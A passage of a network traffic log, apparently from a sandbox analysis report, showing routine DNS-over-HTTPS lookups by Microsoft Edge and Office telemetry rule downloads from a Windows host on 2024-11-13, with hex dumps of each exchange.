2024-11-13 17:08:31 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49883	162.159.61.3	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:31 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-13 17:08:31 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-13 17:08:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 13 Nov 2024 17:08:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e205d40d848469b-DFW alt-svc: h3=":443"; ma=86400
2024-11-13 17:08:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ed 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49882	172.64.41.3	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:31 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-13 17:08:31 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-13 17:08:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 13 Nov 2024 17:08:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e205d40db112d2f-DFW alt-svc: h3=":443"; ma=86400
2024-11-13 17:08:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0a 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49886	172.64.41.3	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:31 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-13 17:08:31 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-13 17:08:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 13 Nov 2024 17:08:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e205d40dc89a924-DFW alt-svc: h3=":443"; ma=86400
2024-11-13 17:08:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 03 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:31 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:31 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:31 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 96a37377-501e-008f-1ba0-349054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170831Z-1749fc9bdbdjgplnhC1DFWhrks000000018000000000457e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:31 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:31 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:31 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:31 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 2ce7ce6f-901e-002a-1fd2-2c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170831Z-16547b76f7f775p5hC1DFWzdvn0000000heg000000009033 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:31 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:32 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:32 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: ad69bf53-c01e-0082-08a7-34af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170832Z-1749fc9bdbdjznvchC1DFWx4dc000000015g00000000dpaq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49892	172.64.41.3	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-13 17:08:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-13 17:08:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 13 Nov 2024 17:08:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e205d45ee6d3159-DFW alt-svc: h3=":443"; ma=86400
2024-11-13 17:08:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ea 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:32 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:32 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:32 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 61156eb6-801e-008f-5ca1-342c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170832Z-1749fc9bdbdwv5sghC1DFWwp6n000000016g000000009dv7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:32 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49894	162.159.61.3	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-13 17:08:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 06 61 73 73 65 74 73 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 55 00 0c 00 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: assetsmsncom)UQ
2024-11-13 17:08:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 13 Nov 2024 17:08:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e205d45fdc36996-DFW alt-svc: h3=":443"; ma=86400
2024-11-13 17:08:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 0b 00 00 00 01 06 61 73 73 65 74 73 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 54 5b 00 1c 06 61 73 73 65 74 73 03 6d 73 6e 03 63 6f 6d 07 65 64 67 65 6b 65 79 03 6e 65 74 00 c0 2c 00 05 00 01 00 00 03 7f 00 16 06 65 32 38 35 37 38 01 64 0a 61 6b 61 6d 61 69 65 64 67 65 c0 43 c0 54 00 01 00 01 00 00 00 0f 00 04 17 2f 33 b6 c0 54 00 01 00 01 00 00 00 0f 00 04 17 2f 33 ba c0 54 00 01 00 01 00 00 00 0f 00 04 17 2f 33 b5 c0 54 00 01 00 01 00 00 00 0f 00 04 17 2f 33 a5 c0 54 00 01 00 01 00 00 00 0f 00 04 17 2f 33 b7 c0 54 00 01 00 01 00 00 00 0f 00 04 17 2f 33 b9 c0 54 00 01 00 01 00 00 00 0f 00 04 17 2f 33 a4 c0 54 00 01 00 01 00 00 00 0f 00 04 17 2f 33 a7 c0 54 00 01 00 01 00 00 00 0f 00 04 17 2f 33 bb 00 00 29 04 d0 Data Ascii: assetsmsncomT[assetsmsncomedgekeynet,e28578dakamaiedgeCT/3T/3T/3T/3T/3T/3T/3T/3T/3)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49893	172.64.41.3	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-13 17:08:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-13 17:08:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 13 Nov 2024 17:08:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e205d45fd013462-DFW alt-svc: h3=":443"; ma=86400
2024-11-13 17:08:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 73 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomsq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:32 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:32 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:32 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 86fb53ab-501e-0078-4ed2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170832Z-16547b76f7f7rtshhC1DFWrtqn0000000hcg00000000tty4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:32 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
